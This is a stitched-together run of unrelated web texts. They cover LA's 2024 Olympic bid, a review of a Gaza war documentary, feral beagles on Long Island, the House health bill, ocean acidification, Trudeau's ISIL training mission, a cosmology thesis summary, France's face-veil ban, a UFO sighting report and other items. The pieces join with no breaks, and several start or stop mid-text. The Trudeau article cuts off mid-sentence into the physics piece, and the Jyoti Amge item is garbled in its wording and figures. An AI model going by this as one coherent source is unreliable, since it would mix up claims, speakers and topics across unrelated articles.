With the league's expanded interconference schedule, in addition to the requisite two games in Western Conference cities like Detroit and Columbus, more Sharks games in recent seasons have started at 4PM on weekdays which is annoying for those of us with jobs or class schedules who don't trust the outside world enough to rely on a DVR recording remaining unspoiled.
Afternoon games
I don't mind one or two of these a season and they've definitely been less frequent occurrences for the Sharks in recent years, but there's something unsettling about watching hockey during lunch.
The Phoenix Coyotes saga
Never mind, we're apparently still discussing this as much as ever.
Seeing as it doesn't even include a mention of the Los Angeles Kings banner-raising ceremony that never was (and never will be, as long as this lockout continues), this list is clearly far from complete. What are some things you don't miss about the NHL?LAUSANNE (Reuters) - Los Angeles could deliver a low-cost, low-risk model for the Olympic Games, officials outlining its 2024 candidacy to the International Olympic Committee said on Tuesday.
Artist rendering of the Staples Center, L.A. Live Entertainment Complex and Microsoft Theater. The cluster would encompass the Downtown Sports Park for the 2024 Los Angeles Olympic Games. Mandatory Credit: Kirby Lee-USA TODAY Sports
Bid chairman Casey Wasserman said in LA’s penultimate presentation to IOC members before the Sept. 13 vote that the city, competing with Paris, would serve the Olympic movement.
“We don’t believe in ultimatums. We don’t believe this decision is only about us or Paris or 2024. This about the future direction of the Olympic movement,” Wasserman said.
United States President Donald Trump later tweeted his support for the Los Angeles bid. “Working hard to get the Olympics for the United States (L.A.). Stay tuned!,” he said.
Wasserman again left the door open for the 2028 Olympics, with Paris widely seen as the frontrunner for the 2024 event. The French capital, led by recently-elected French President Emmanuel Macron, presented its project after Los Angeles.
The IOC will then vote on whether to ratify its executive board’s recommendation to award on Sept. 13. both the 2024 Olympics and the 2028 Games at the same time.
Multiple Olympic track and field champion and LA bid official Allyson Felix said IOC members had asked about 2028.
“We clarified the focus is on 2024, but we would be blessed to have any Games,” Felix said.
Wasserman had earlier stressed the importance of the decision on 2024.
“This decision is about the future direction of the Olympic Movement. Our objective is to best serve your (the IOC’s) needs, not only ours,” he said
“We are offering a city ready to go. We are offering a Games with no incremental costs. We are offering a lasting definition of Olympic sustainability.”
Related Coverage IOC approves awarding 2024 and 2028 Games in September
Four other cities — Hamburg, Rome, Budapest and Boston — have withdrawn bids, scared off by the size and cost of the Games, forcing the IOC to recommend the double awarding to make it more attractive for potential hosts.
LA officials highlighted the privately funded model, while stressing the involvement of the United States in the wider Olympic movement with thousands of foreign athletes training at U.S. colleges.
“We need bold new solutions and bold new thinking,” LA mayor Eric Garcetti told reporters. “We want to leave something different.”In The War Around Us, reporter Sherine Tadros reflects on the roles and responsibilities of journalists during wartime.
Only two English-language journalists reported from Gaza as it suffered an all-out attack from Israel in late 2008 and early 2009. The War Around Us is a powerful, deeply moving new documentary through the eyes of these two reporters, Ayman Mohyeldin and Sherine Tadros.
Directed by Abdallah Omeish (whose best-known film is Occupation 101), The War Around Us is just 75 minutes long. But that’s enough. Tightly focused and intentionally restricted in its scope and aims, it follows in chronological order the course of the conflict, intercut with post facto interviews with Mohyeldin and Tadros. At the time both were reporting for Al Jazeera English. Mohyeldin was based in Gaza, but Tadros was there on an assignment to cover reactions to the election of US President Barack Obama.
With apparently free access to Al Jazeera footage of the attack, as well as images from the Palestinian news agency Ramattan, the film is extremely graphic and disturbing. Scenes include that of a mother and her two dead children lying side-by-side on a hospital floor; another man screaming with grief as the body of his little girl flops on a blanket; young men lying in the courtyard of a police station hit by Israeli air strikes, each with one hand raised as they say the final prayers of the dying. A victim of the horrific burns inflicted by illegal white phosphorous munitions (made in the US, fired by the Israeli military) lies in a hospital bed; huge pools of blood lie clotting on the steps of a school in Jabaliya refugee camp run by the UN agency for Palestine refugees (UNRWA).
Icy fury
Less graphic but equally devastating is the interview footage. Rima, a beautiful and intensely dignified young mother, tells Tadros how her children no longer say they are afraid of dying — they just want to make sure that they die along with her so they’re not left alone. John Ging, then a leading figure in UNRWA, speaks with icy fury as desperately-needed food supplies burn behind him. And 16-year-old Ahmad Samouni’s face writhes in pain as he describes lying for days surrounded by the bodies of his family, waiting for the Israeli army to allow ambulances to fetch him.
Many viewers are perhaps now inured to the kind of violence we regularly see on YouTube and activist media, but to watch news media footage — where cameramen have often risked their lives to chase the most graphic images, and which has been edited and soundtracked for intensity and impact — for over an hour is hard to stomach, even now.
It is, then, something of a relief that the film intercuts the material from the attack on Gaza with extended interviews with Mohyeldin and Tadros. They reflect on the roles and responsibilities of journalists in such a situation, on their “anger” at finding that they were the only mainstream Western journalists reporting from inside Gaza, and on the personal impacts of covering such a horrific story.
“Where was the outrage?”
Mohyeldin, already a seasoned conflict reporter when he was posted to Gaza, is the more political one in his comments. He is patently furious at the Western media for their failure to adequately deliver to their audiences the truth of what he calls in the film “a story of great shame to humanity.” American and British news channels, he says, “neglected the story and then had the audacity to question the only journalists on the ground … they tried to spin it in a way that would marginalize or diminish what was happening.” He condemns the “silence of the international community. Where was the outrage?”
Tadros’s comments are more personal. A newcomer to frontline reporting, she is frank in saying that she will never put herself in that position again. Obviously hugely affected by the mothers and children she interviewed — in their homes and hospital beds — she recounts how, coming home to London after the attacks, she couldn’t hold her one-year-old nephew because she imagined blood seeping through his clothes. She also describes vividly the difficulty of facing death day after day, not from one’s own perspective, but from that of the family, thousands of miles away, who are powerless to help.
Tadros admits that during the attacks, Mohyeldin found her to be a “princess.” But behind-the-scenes footage shows a drained, haggard woman working 19 hours a day, snatching sleep on an office floor, desperate to achieve her role of showing the human impacts of a conflict which much of world was seeing only from Western reports in southern Israel or the insidious lies of Mark Regev and Avital Leibovich, chief mouthpieces for the Israeli government and military.
Specific aim
Ayman Mohyeldin, in a question and answer session following a screening of the film in Amman, acknowledged criticism of the documentary for its focus on two mainstream journalists, rather than telling the story from a Palestinian perspective. Although Mohyeldin has a Palestinian mother, he doesn’t labor this as a claim to authenticity. Instead, he insists that the film has a very specific aim — to speak to Western audiences, to use himself and Tadros, two Western journalists of Arab origin, as a bridge to the sympathies of Western viewers, and to “make people question their own media for not telling [the truth about the attacks].”
Ultimately, The War Around Us is a damning critique — from within the industry — of the Western media’s reporting of Palestine, as well as a powerful tool in the hands of Palestine solidarity campaigners. There is no way to walk away from this film not feeling angry and deeply distressed, but also with a visceral and fundamental grasp on the depth of Israel’s denial of the Palestinian right not only to life and liberty but, in Ayman Mohyeldin’s words, “of the right to aspire.”
For details of future screenings of The War Around Us, see http://thewararoundus.com.
Sarah Irving is a freelance writer. She worked with the International Solidarity Movement in the occupied West Bank in 2001-02 and with Olive Co-op, promoting fair trade Palestinian products and solidarity visits, in 2004-06. She is the author of a biography of Leila Khaled and of the Bradt Guide to Palestine and co-author, with Sharyn Lock, of Gaza: Beneath the Bombs.Tom Daley shows off his ripped shirtless physique in this new shoot for heat magazine’s latest issue, on newsstands now.
Here is what the 18-year-old Olympic bronze medalist had to share with the mag:
On his fear of getting fat: “When I finish diving I will become a fitness freak. It’s hard because if you are an athlete and you stop, you’ll put on weight so easily so it’s important for me that I keep it going.. I do want to make sure that I don’t lose my shape. I want to stay in shape.”
On celebs with perfect bodies: “Ooooh, let’s have a think. I love that I’m talking about this while I’m eating a cake. For girls it has to be Cheryl [Cole], Mollie [King] from The Saturdays, Megan Fox.”
On the sport with the sexiest athletes: “Um, diving is pretty good. Basically because they are constantly on show they like to keep tabs on themselves but then also synchronized swimmers. And gymnasts are pretty good.”
For more from Tom, visit heatworld.com!Charlie Brown, watch your back — a plague of vicious wild beagles has struck Long Island!
These floppy-eared terrors are no lovable Snoopys — they’re abandoned hunting dogs that live in packs and have gone from humble pets to hounds from hell.
Mattituck resident Dot Faszczewski came face to face with the canine menace two weeks ago, when she was set upon by a group of crazed, hungry beagles as she walked her pet dogs near her parents’ Orient Point home.
She said it was like a scene from a werewolf movie.
“They were barking so ferociously that I thought they were going to attack my dogs,” she said of the Jan. 16 scare.
Her dogs — who are much bigger than be agles — were too scared to even bark back.
“I grabbed the two dogs and ran inside,” she said. “I just closed the door when they jumped at the door, and they broke that aluminum portion underneath.”
The attack happened in a flash. It was only when the 61-year-old dog lover was safely inside that she made the shocking realization her howling attackers weren’t coyotes or Rottweilers, but were three frothing, short-legged, brown-and-white beagles.
“I thought ‘Why would they be so ferocious?’ The bark that they were barking, like they really wanted to eat me up!” she told The Post.
They “were probably cold, hungry and desperate,” she said.
The angry beagles that attacked Faszczewski are part of a huge community of feral beagles that roams the woods and fields of eastern Long Island after being abandoned by hunters who used them to track down rabbits.
According to local activists, some hunters act like small-time Donald Trumps, firing the dogs that don’t do well during the November-to-February hunting season. One told a shelter worker, “If you don’t take the dog, I’ll shoot it in the head.”
“If they don’t perform, they don’t have a use for them,” said Pam Green, who runs Kent Animal Shelter in Calverton.
Despite the beagles’ small size and normally playful dispositions, they normally group up in vicious packs to hunt for food once they are on their own.
One year, as many as 30 or 40 beagles were abandoned, and two were found dead.
Green said five dogs have been picked up on the North Fork so far this hunting season. She expects to see more when the season ends in a month.
But animal activists are trying to help by publicizing the plight of the wild beagles and trying to find homes for them.
It’s a challenge. While purebred beagles can sell for hundreds or thousands of dollars, most dumped hounds are young, poorly trained and not housebroken.
“They’re certainly not treated as a pet,” Green said. “They’ve lived in crates.”
Most are also not spayed or neutered because hunters believe “fixed” dogs lose their hunger for prey.
Two shelters now have five former feral beagles up for adoption between them. And they said that with love and care these abandoned hounds can become loving pets once again.There are already a few early examples of potential solutions. The alliance will look at using blockchain technology to ensure the integrity of your vote, and wants to devise "playbooks" that campaigns and election overseers can use to beef up their security. Naturally, countering disinformation campaigns is important. The team even wants to explore methods for deterring cyberattacks in the first place, although that's only going to have a limited effect on some perpetrators.
There's no specific timetable for accomplishing these objectives, and there aren't any immediate partners. Any success will hinge on rallying support. Still, it's easy to see this getting some traction. The big names attached to DDD could help get its foot in the door, but there's also a basic reality in the US: there isn't a thorough, cohesive national strategy for protecting election infrastructure against cyberattacks. The group might not have all the answers, but it could establish a baseline level of security that makes it harder for hackers to run amok.Two House committees — Ways and Means and Energy and Commerce — plan to take up the legislation on Wednesday. House Republicans hope the committees will approve the measure this week, clearing the way for the full House to act on it before a spring break scheduled to begin on April 7. The outlook in the Senate is less clear. Democrats want to preserve the Affordable Care Act, and a handful of Republican senators expressed serious concerns about the House plan as it was being developed.
Under the House Republican plan, the income-based tax credits provided under the Affordable Care Act would be replaced with credits that would rise with age as older people generally require more health care. In a late change, the plan reduces the tax credits for individuals with annual incomes over $75,000 and married couples with incomes over $150,000.
Republicans did not offer any estimate of how much their plan would cost, or how many people would gain or lose insurance. The two House committees plan to vote on the legislation without having estimates of its cost from the Congressional Budget Office, the official scorekeeper on Capitol Hill.
But they did get the support from President Trump that they badly need to win House passage.
“Obamacare has proven to be a disaster with fewer options, inferior care and skyrocketing costs that are crushing small business and families across America,” said the White House press secretary, Sean Spicer. “Today marks an important step toward restoring health care choices and affordability back to the American people.”
The release of the legislation is a step toward fulfilling a campaign pledge — repeal and replace — that has animated Republicans since the Affordable Care Act passed in 2010. But it is far from certain Republican lawmakers will be able to get on the same page and repeal the health measure.
On Monday, four Republican senators — Rob Portman of Ohio, Shelley Moore Capito of West Virginia, Cory Gardner of Colorado and Lisa Murkowski of Alaska — signed a letter saying a House draft that they had reviewed did not adequately protect people in states like theirs that have expanded Medicaid under the Affordable Care Act.Scientists say that the world’s oceans are acidifying. This term is correct, but somewhat misleading. Until recently, the oceans have had (so far as can be determined) a pH level of about 8.4 for millennia. A pH of 7.0 is neutral. Thus, the oceans are alkaline, not acidific. But, since the beginning of the industrial age when emissions of carbon dioxide started to rise, the oceans’ pH level has dropped to 8.3 and the waters have become less alkaline. Some argue that that is not a big change in 200 years. But it is the largest change known to have occurred in 20 million years. In addition, most of that change has occurred during the past 50 years and the rate of change is accelerating, keeping pace with the increase in carbon dioxide emissions. It has been estimated that the average pH of the oceans will fall to 7.8 by the end of the 21st century if the carbon dioxide emissions trend continues.
Why do we care? We don’t live in the ocean and we don’t drink seawater.
We care because there is only one Earth and one biosphere. Oceans cover about 70 percent of the Earth’s surface and constitute more than 90 percent of the biosphere (that portion of the Earth capable of supporting life). Many chemical reactions, including those essential to life, are sensitive to even small changes in the pH level. A small change in the pH of seawater can have harmful effects on marine life, impacting chemical communication, reproduction and growth.
Ocean carbonate chemistry is a natural buffering system, but this buffering capacity is being compromised as a direct result of carbon dioxide absorption by the oceans. The dissolved forms of carbon dioxide – carbonic acid, bicarbonate and carbonate – have a significant impact on seawater pH levels because their concentrations are rapidly absorbed and distributed compared to other seawater constituents.
As the oceans uptake the increased amounts of carbon dioxide from the atmosphere, a portion converts into carbonic acid, thereby reducing the alkaline level of the water. Higher acidity of the oceans can reduce the ability of some marine species to mature and form shells and it can alter their physiology or behavior, affecting growth, fertilization, embryonic/larval development, and survival. It impacts marine ecosystems by such means as disrupting predator and prey relationships in food chains and altering habitats, including by degrading barrier reefs that protect coastal areas. Over time, lowering of pH levels can damage local economies by disrupting fishing and tourism.
Higher levels of carbon dioxide in seawater cause chemical reactions that reduce the saturation state of calcium carbonate minerals such as aragonite and calcite. Many marine organisms, including oysters, clams, starfish, and zooplankton, as well as some plants and algae, construct their shells and other structures from these minerals. As the saturation state approaches, these minerals are leached out of the shells and other structures, having potentially fatal consequences. Even if the organism survives, it must devote more energy to shell/structure grow and maintenance, leaving less energy available for reproduction and other activities. Disrupting the calcium carbonate cycle not only impacts these animals, it has adverse effects on the entire marine ecosystem.
The pH level of the blood in marine animals is lower than the pH level of the seawater. Ocean acidification reduces the difference between those two pH levels, with adverse consequences. Respiratory proteins in the blood, such as hemoglobin, bind oxygen at high pH and release oxygen at low pH. This allows oxygen uptake at the gills or similar structures and oxygen release at the cells, where metabolically-produced carbon dioxide has decreased the pH. If the pH levels at the gills and at the cells are similar, a condition called respiratory acidosis results and death can occur.
Most, but not all, marine plants and algae will probably suffer few adverse consequences from a moderate lowering of the pH level of seawater, but further research is required. What is known is that ocean acidification reduces biodiversity, ultimately causing adverse impacts throughout the biome.
In 2009, Congress adopted the Federal Ocean Acidification Monitoring and Research Act (FOAMRA). This statute established an ocean acidification program within the National Oceanic and Atmospheric Administration (NOAA) and directed comprehensive research on the processes and consequences of ocean acidification on marine organisms and ecosystems. As the statute’s name indicates, it only authorizes increased and coordinated monitoring and research relating to ocean acidification. Active measures to reduce or ameliorate ocean acidification must be undertaken under separate preexisting or subsequently adopted statutory authority.
The problems posed by ocean acidification are not local or even regional. They are worldwide. Halting or reversing this process requires global action, principally involving the reduction of carbon dioxide emissions. Needless to say, this will be a heavy lift.
The Author
Dennis L. Bryant is with Maritime Regulatory Consulting, and a regular contributor to Maritime Reporter & Engineering News as well as online at MaritimeProfessional.com.
t: 1 352 692 5493
e: dennis.l.bryant@gmail.com
(As published in the September 2015 edition of Marine Technology Reporter - http://www.marinetechnologynews.com/Magazine)The projected cost of bringing Boston's transit system into overall sound working order has climbed again.
Massachusetts Bay Transportation Authority officials were announcing on Monday that the system's State of Good Repair backlog was now estimated at $7.3 billion, an increase of more than $650 million from a previous estimate earlier this year.
The new figures were being offered at meeting of the MBTA Fiscal and Management Control Board, which was created last month to oversee the cash-strapped system.
The backlog is defined as the total amount it would cost to bring all assets up to ideal working order.
MBTA officials credit the increase to a better cataloging of records, saying that the T's database of assets has grown to more than 250,000.
The T's aging infrastructure was exposed during a severe stretch of winter weather earlier this year that resulted in massive equipment breakdowns, canceled trains and stranded passengers.
T Chief Administrator Brian Shortsleeve added that the agency is on track for a $170 million shortfall in fiscal year 2016, a 40 percent increase from the fiscal year that closed at the end of June.
"In FY 15, our revenues increased by just under $40 million, but our operating expenses increased by twice that," Shortsleeve told the board Monday.
That's despite better than expected financial figures for the month of July.
With additional reporting by WBUR's Jack LepiarzA restless hitman is forced to carry out a gruesome errand for a sadistic kingpin rumored to be the Devil himself, in order to save the woman he loves.
A good old Mexican gunslinging film with the inevitable premise of saving a loved one from the bad guy. But Domino Falling takes the tale to a new level with ravishing vintage cinematography style and using to the camera to bring out every inch of character. Domino Falling was inspired by the films of Sergio Leone and Sam Peckinpah like the Dollar Trilogy and Bring Me the Head of Alfredo Garcia which Siavash was obsessed with as a young kid growing up in Tehran, Iran during the 80’s.
When I was an undergraduate at USC School of Cinema, I wrote Domino Falling as a my senior project and first screenplay feature. The script combined with my short film INGENUE which I completed while a student where both well received in the industry and led to literary representation by a major talent agency (Endeavor now WME), and before I knew it, it was optioned by major production companies and it spawned my professional career.
Siavash then teamed up with two independent film companies based in Los Angeles, namely American Film Productions and Burn Pitctures and together they were able to shoot the film over the course of two days on a shoestring budget.
I was inspired by the tremendous progress in digital film making to make a short film based on the feature script and my vision for it which has a very retro aesthetic to it (which I was afraid would be lost if not shot on film), in order to raise the financing needed to make the feature film.
The open-ended short film opens the door widely for its feature film, but Domino Falling, the short, can sweetly stand on its own as a complete film, or focused on a little chapter.
dominofallingfilm.com
facebook.com/KarmaFilmDominoFallingPrime Minister Justin Trudeau confirmed Tuesday en route to Manila that a beefed-up training mission will mark the core of Canada’s contribution to the coalition fight against Islamic State. ( Sean Kilpatrick / THE CANADIAN PRESS )
MANILA, PHILIPPINES—As Canadian fighter jets struck Islamic State positions in Iraq, Prime Minister Justin Trudeau confirmed that Canada’s anti-terror fight will change with the deployment of more troops to help train local fighters to battle extremists on the ground. Trudeau confirmed Tuesday what he has been hinting at for several days — that a beefed-up training mission will mark the core of Canada’s changing contribution to the coalition fight against extremists in Iraq and Syria.
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But the prime minister also warned that the battle against the terrorists will “not be a short engagement.” The news came on the same day that two CF-18 fighters hit three ISIL positions near Ramadi using precision-guided munitions. In all, Canadian fighters have struck nine times in the last week, including taking part in a broader offensive on Nov. 12 to cut off an ISIL supply line near Sinjar, Iraq. Trudeau has made clear this week that the Liberals intend to stick to their election pledge to end the yearlong combat mission by CF-18s over Iraq and Syria, even as Canada’s allies ramp up their air assaults in the wake of the Paris terror attacks. Instead, Canada will announce that it will commit more soldiers to the training role to enable local militia to take the fight to the extremists and reclaim territory in Iraq lost to ISIL forces. The prime minister also reiterated his government’s commitment to bring in 25,000 Syrian refugees by Jan. 1, despite provincial and municipal voices expressing concern that the short timetable could compromise security.
Talking to reporters on board a military Airbus en route to the Philippines, Trudeau gave a rough outline of what the new military mission will look like. He said it is certain to involve more than the 69 Canadian troops already on the ground in northern Iraq. That operation, launched more than a year ago, is a non-combat role for Canadians to train peshmerga forces.
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“We committed throughout the campaign, and I’ve committed repeatedly to my allies, that we were going to do more on the training front and, obviously, that means more than just 69 trainers,” Trudeau said. But just how many more, their exact mission and the timing of the new, larger deployment are all questions that are being looked at, he said. “We’re looking at a number of options. We’re looking at how we can best be helpful,” Trudeau told journalists. “Canada has extraordinary Canadian Forces with a wide range of abilities... but training is something we do very, very well,” he said. Trudeau has been sensitive to any perception that by withdrawing its fighter jets, Canada would be walking away from the coalition fight against ISIL. That concern was underscored this week as world leaders who gathered at the G20 summit showed a collective resolve to step up their terror fight in the wake of Friday’s deadly attacks in Paris. Trudeau said Canada is committed to do “more than its part” in that battle and pledged that would be a “meaningful” role. “The bottom line is how can Canada best be a strong and positive contributor to the... continuing mission” against ISIL, he said. “There’s no question that this is not going to be a short engagement,” Trudeau said, adding that no one solution alone — diplomatic or military — will resolve the ISIL crisis. “It’s a lot of people working together in different ways to create stability and security in an area that has been unstable and insecure for a very long time,” Trudeau said. Trudeau is expected to talk about the shape of that new mission during a meeting with U.S. President Barack Obama this week at the APEC summit being held in the Philippines. Trudeau also sought to reassure Canadians who are concerned about security in the influx of 25,000 Syrian refugees that will come to Canada in the coming weeks. “I have said from the very beginning that security has always been at the very core of what we are planning to do on refugees,” Trudeau said. Trudeau was responding to Saskatchewan Premier Brad Wall who earlier had called on Ottawa to “suspend” the plan, concerned that the “rushed” resettlement plan could compromise security. But the prime minister said that security is an “integral” part of his government’s refugee plan. “It didn’t take the tragedies of Paris for us to suddenly realize that security is important,” Trudeau said. “We’ve known for a long time and we continue to be very much committed in keeping Canadians safe while we do the right thing to engage responsibly with the humanitarian crisis,” he said. Trudeau spoke to reporters as his Royal Canadian Air Force Airbus aircraft jetted over the Bay of Bengal en route to |
theories of late time structure formation. One important characteristic is that almost nothing has interfered with this radiation since its creation; it is essentially a snapshot of the universe, soon after its birth.
This brings me to the problems we face today, and hence also the work I have done in my thesis. There is a beautiful theory of the early universe known as inflation. This theory describes how quantum fluctuations are the seeds that eventually grow to become the complex structures we see today, such as galaxies, stars and even life. In order to test this theory, it is essential that we understand with great precision how these quantum fluctuations will be imprinted in the CMB. A significant part of my work to date has been to develop better methods of doing this.
However, testing the theory of inflation has turned out to be rather more challenging than first expected. As I mentioned, the early universe was very hot and very dense which means that any theory of the early universe inevitably involves studying particle physics at energy scales far far greater than anything we could ever hope reproduce in an experiment on Earth. This means we must study particle physics at a more fundamental level. This leads us to string theory!
String theory famously suffers from the problem that it is exceedingly difficult to test experimentally. So the prospect that there may be information encoded in the CMB, for many physicists, is very exciting! That said, there is a serious problem. Historically, theories of inflation were very simple and much like the pigeon theory, they were easy to test. Typically there would be only one species of particle that needed to be considered and this would mean it was straightforward to make a prediction. However, again much like the pigeon theory, it seems these theories are too basic and the reality may be significantly more complex. Recent developments in string theory have resulted in inflationary models becoming vastly more complex. Often containing tens if not hundreds of fields which need to be taken into account, this has resulted in a class of models where it is no longer understood how to make predictions.
Fortunately there is reason to think this challenge can be overcome. While the underlying structure of this new class of models can be exceedingly complicated, the combined effect of all the messy interactions between these many particles can actually result in a wonderfully simple and consistent behaviour. It is far too soon to say whether or not this result is generic but this emergent simplicity may hold the key to understanding how string theory can finally be tested!
You can read more here:
Jonathan Frazer
Predictions in multifield models of inflation, submitted to JCAP.
Mafalda Dias, Jonathan Frazer, Andrew R. Liddle
Multifield consequences for D-brane inflation, JCAP06(2012)020.
David Seery, David J. Mulryne, Jonathan Frazer, Raquel H. Ribeiro
Inflationary perturbation theory is geometrical optics in phase space, JCAP09(2012)010.
Jonathan Frazer and Andrew R. Liddle
Multi-field inflation with random potentials: field dimension, feature scale and non-Gaussianity, JCAP02(2012)039.
Jonathan Frazer and Andrew R. Liddle
Exploring a string-like landscape, JCAP02(2011)026.Jyoti Amge – 18-year-old student from India. She is known as the smallest woman now living in the world. It is officially registered in the Guinness Book of Records. Growth record holder is only 62.8 cm
1. On the day of delivery of the official certificate Jyoti celebrated her birthday.
2. Jyoti suffers from a disease known since ancient times – achondroplasia – skeletal system. One manifestation of this disease is dwarfism. The disease in humans can not be cured.
3. The disease is relatively rare – 1 in the 50-100 thousand.
4. In September 2009, Jyoti Amge hit the Guinness Book of Records as the world’s smallest teen to see the growth of 61.95 for two years, its growth increased by only 0.85 cm
5. Jyoti is now growing less than two years of a child.
6. Jyoti Amge could turn the smallest woman in history. Pauline Masters (1876-1895) lived in the Netherlands, Pauline’s growth was only 61 cm.THEY are the women prepared to defy France for the burqa.
From today French police have the power to stop Muslim women wearing full-face veils and to threaten them with fines or prison if they refuse to expose their faces.
All over France posters have been put up reminding veil-clad women that “the Republic lives with its face uncovered”.
Last year, President Nicolas Sarkozy pushed through a controversial law banning Muslim women from wearing burqas or niqabs in public. He said the law was to increase security but claimed it would liberate Muslim women from the oppression of their veil.
Any woman who refuses to lift her veil can be taken to a police station, fined 150 euros ($205) and ordered to attend re-education classes.
Anyone found guilty of forcing a woman to wear face veils in public or in private faces a fine of 30,000 euros and a year in jail.
However, some women have vowed to defy the law.
“I will not obey it,” said Wahiba Mebrek, 25, from the suburb of Villepinte, north of Paris. “I will only respect laws of the French Republic which are not in contradiction with me, my religion and my faith,” she added.
She is angry the Government and media peddled this image of them as being oppressed. For her, it was a conscious decision, made by her and husband when they became devout Muslims eight years ago.
Violent reaction
Hind*, a 31-year-old single mother from the suburb of Aulnay-sous-Bois outside Paris, switched from the “miniskirt to the veil” after converting to Islam six years ago.
She said that her wearing of the veil had provoked hostile, even violent reactions in the street. She was recently attacked in front of her daughter by a couple.
“People’s reactions weren’t as violent until this issue was mediatised. Now that the law has passed, they feel that their violent behaviour towards us is justified,” she said.
“People have the impression that we are totally cut off from the world, but we have normal relationships like everyone else, we are accessible."
Hind will not take off her niqab, if asked by police. “Never ever will I apply this law,” she said. “It is not up to the government to meddle in my private life and my beliefs.”
French officials estimate that about 2000 women, from a total Muslim population estimated at between four and six million, wear the full-face veil.
Many Muslims and human rights groups accuse Mr Sarkozy of targeting one of France's most vulnerable and isolated groups to signal to anti-immigration voters that he shares their fear that Islam is a threat to French culture.
Years of abuse
Other critics worry the law may be hard to enforce, since it had to be drawn up without reference to religion to ban any kind of face covering in public and since police officers will not be allowed to remove women's head coverings.
But for other women, wearing the veil was not a choice.
Zeina*, 31, was forced to wear the niqab by her abusive ex-husband. She lived with his abuse until one day, a neighbour saw her bruises and took her to a women’s refuge. She details the ordeal in her autobiography, Sous Mon Niqab (Under my Veil).
“When I wore the niqab, I felt excluded from the world, from society,” she said. “Taking it off was a sort of freedom, a liberty for me.”
But she opposes the law, saying it will further oppress women. Unable to wear their veil in public, Zeina fears their abuse may go unnoticed as they will be confined to their homes.
As for those women who wear their niqab in the street for Friday afternoon prayers at their local mosque, they too risk being fined.
This is what worries Mrs Mebrek.
“The veil is an exterior manifestation of my religion but in a secular country, I am free to do so,” she said. “All this will stop from April 11.”
*Names were suppressed or changed as requestedMutant daisies photographed near Fukushima site go viral
Find Your Forecast Search for a location
Cheryl Santa Maria
Digital Reporter
Tuesday, July 21, 2015, 3:36 PM - A photo of'mutant daisies' spotted near Japan's Fukushima nuclear power plant four years after an historic earthquake and subsequent meltdown has gone viral online.
The image was snapped by Twitter used @san_kaido in Nasushiobara City, which lies about 100 kilometres from Fukushima.
When translated, @san_kaido's tweet says the daisies have been exposed to radiation from Fukushima since March 2011, according to The Weather Channel.
RELATED: Fukushima radiation found in Oregon and Washington tuna
"The atmospheric dose is 0.5 μSv/h at 1m above the ground," the tweet says, referencing the radiation dose per hour present at the site where the photo was taken.
Officials have classified the area as safe for "medium to long-term" habitation.
The photo of the daisies, which was uploaded in late May, has received hundreds of shares on Twitter and generated plenty of conversation about radiation exposure.
The flowers appear to be afflicted with a condition called "fasciation" or "cresting" and, while rare, this type of mutation has been spotted in daisies in other parts of the world in areas that haven't been exposed to radiation.
Possible causes of cresting include hormonal or genetic defects, bacterial or fungal infection or environmental causes.
A powerful earthquake and subsequent tsunami in March 2011 crippled Japan's Fukushima Dai-Ichi nuclear plant, leading to the eventual meltdown of three of its six nuclear reactors.
Four years after the disaster, contaminated water continues to leak into the Pacific Ocean, while elevated radiation levels impact nearby communities.
Sources: Twitter | The Weather Channel
Editor's note: The plant mutation is called fasciation. An earlier version of this story had it as "fascination."
RELATED VIDEO: FILE FOOTAGE OF JAPAN'S 2011 EARTHQUAKE AND TSUNAMI:A New Jersey witness at Vernon reported watching a low flying, “huge” triangle UFO that quickly faded and disappeared from view, according to testimony in Case 73418 from the Mutual UFO Network (MUFON) witness reporting database.
The witness was camping in Vernon on September 15, 2014, and returning to his tent when the incident occurred.
“I just decided to take a gaze up at the sky because it was really clear out and out of nowhere I noticed this huge black, long triangular craft with several steady white lights,” the witness stated. “And it appeared to be the bottom of the craft.”
The witness described how the craft moved.
“It seemed to slowly just creep along the tree line. And once it reached the treeline out in front of me, it just seemed to fade out and disappear.”
The object was very large and was silent.
“This thing was giant. Like a flying aircraft carrier and it made no sound. Was that low and just disappeared does not make sense.”
The witness provided investigators with a sketch of the object. No photos or videos were included with the report, which was filed on December 30, 2015. New Jersey MUFON Chief Investigator Ken Pfeifer is investigating.
Vernon Township is a township in Sussex County, New Jersey, population 23,943. Please remember that most UFO sightings can be explained as something natural or man-made. The above quotes were edited for clarity. Please report UFO activity to MUFON.com.
Popular Posts:Gov’t Mule Welcome Ron Holloway in Virginia
Gov’t Mule continued their tour last night at the SERVPRO Richmond Pavilion in Glen Allen, VA as they charge into the fall. Last night’s show in Virginia saw them collaborate with an old friend, as Ron Holloway joined the on “Blind Man in the Dark” that forayed into The Doors’ “Riders on the Storm.”
Holloway has joined the group a couple of times on this current stretch of shows and of course played with Haynes as a part of his solo band.
Mule’s tour continues with Blackberry Smoke tonight in Cherokee, NC.
Here’s a look at the setlist from last night:
Gov’t Mule
*Innsbrook After Hours at The SERVPRO Richmond Pavilion
Glen Allen, VA*
Bad Little Doggie, Mr. High & Mighty, Streamline Woman, Left Coast Groovies, About To Rage, Just Got Paid, Wandering Child, When The World Gets Small, Funny Little Tragedy (with Message In A Bottle lyrics & James Bond Theme tease) > Drums, Blind Man In The Dark* > Riders On The Storm* > Blind Man In The Dark* > Soulshine*
No encore due to weather
Notes: *with Ron Holloway
Source: Mule.netConocoPhillips Alaska is planning its most ambitious exploration program in years, and the effort could provide more details about a newly promising North Slope play.
The company plans to drill five exploration wells in early 2018.
Three wells will help the company further analyze its large Willow prospect in the National Petroleum Reserve-Alaska, said Joe Marushack, president of ConocoPhillips Alaska, on Thursday night. That prospect could produce 100,000 barrels of oil daily, the company has said.
Two other wells will be drilled near the Colville River, not far from where Armstrong Oil and Gas has heralded a large discovery it says could produce 120,000 barrels daily.
Marushack said the plans, if completed, will represent the most exploration wells drilled per year by the company in 15 years.
Marushack unveiled the proposal as keynote speaker at the annual meeting of the Alaska Support Industry Alliance, at a downtown Anchorage hotel.
Alaska, mired in a recession brought on by low oil prices, had the nation's highest unemployment rate in August. The plans generated applause from the large crowd.
Marushack did not provide an estimated cost for the drilling program.
The company plans to use three exploration rigs to conduct the drilling. Each rig typically provides 100 direct jobs, and hundreds of indirect jobs ranging from equipment operators to ice-road construction, said Natalie Lowman, a company spokeswoman, on Friday.
In 2002, ConocoPhillips drilled seven exploration wells in Alaska, Lowman said. The winter drilling season generally extends from January through April.
The five wells would be drilled across a broad area, west of the giant Prudhoe Bay oil field in a region where ConocoPhillips has enjoyed better-than-expected success. One example there is the new CD5 field that produces up to 26,000 barrels daily, beating estimates by 10,000 barrels.
